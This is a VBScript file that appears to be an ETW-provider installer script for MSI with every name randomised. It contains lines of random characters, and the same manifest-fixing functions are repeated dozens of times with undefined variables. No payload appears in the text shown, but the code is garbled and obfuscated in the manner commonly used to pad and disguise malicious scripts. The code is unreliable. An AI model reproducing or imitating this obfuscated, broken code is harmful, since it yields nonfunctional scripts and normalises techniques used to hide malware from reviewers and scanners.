'''''''''''''''''''''' rgnky ''''''''''''''''''''''
On Error Resume Next::::::: zGUbcjUeRMKFdIqmVWzrNNBzStXdUyoJuBokulsUyuUbRUKhig :::::
kXBDJCXMkxjUMalRIwhASTrsZRwkvVmpixNHFWibdHwEMWPfQJ
fWAOeOXNzJSgsIriZyryaOmPcKRdIuqptgKyEuoDeKjsomBZws
pEnXbSpnrufltGnLpDnSdaXujbLKPecqEfKBBtDBjptYVvXLrm
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function fkrgb
' If this is msi mode, uninstall failures are not fatal
If False = "bftxs" Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("rhlrw") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
' Uninstall an ETW Provider
' Create a fixed-up copy of a provider manifest
Dim lpzfh, dtywx, JoGki, ASaBf
Dim wanMX, messageFileName, jZqrl
Set lpzfh = CreateObject("msxml2.DOMDocument.3.0")
lpzfh.async = false
lpzfh.resolveExternals = false
lpzfh.validateOnParse = false
If Not lpzfh.load( VNYpK ) Then
FixManifest = ""
Exit Function
End If
Set dtywx = lpzfh.SelectNodes("//*/provider")
If dtywx Is Nothing Then
FixManifest = ""
Exit Function
End If
For Each JoGki In dtywx
Set ASaBf = JoGki.attributes
messageFileName = ASaBf.getNamedItem("messageFileName").nodeValue
messageFileName = RegExFolderPart.Replace ( messageFileName, GbTHa + "\" )
jZqrl = RegExFolderPart.Replace ( jZqrl, GbTHa + "\" )
' If the resource DLLs referenced in the provider manifest are main OS DLLs
' then we don't include them in the OPK, instead we include a resource-only
' dll with the etw.dll suffix. For these DLLs we need to add the suffix here.
'
If 0 = InStr( messageFileName, "etw.dll" ) Then
messageFileName = RegExExtensionPart.Replace ( messageFileName, "etw.dll" )
End If
If 0 = InStr( jZqrl, "etw.dll" ) Then
End If
Next
wanMX = RegExFolderPart.Replace ( VNYpK, njrls.ExpandEnvironmentStrings("%TEMP%") + "\" ) + ".fixed.man"
If lpzfh.save( wanMX ) Then
FixManifest = ""
Exit Function
End If
FixManifest = wanMX
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
'''''''''''''''''''''' rgnky ''''''''''''''''''''''
' Print usage baSTo
' Install Providers
' Uninstall Providers
Function kycEE
' If this is msi mode, uninstall failures are not fatal
If False = oPVGo Then
On Error Resume Next
End If
GbTHa = Session.TargetPath("ETWProviders")
EVhDM( GetRef("ipiCN") )
On Error Goto 0
End Function
' Enumerates over the provider manifests
Function EVhDM( YWQyi )
Dim sCOEt, GXnlH, File
' Remove possible trailing backslash
If Right(GbTHa, 1) = "\" Then
GbTHa = Left(GbTHa, Len(GbTHa) - 1)
End If
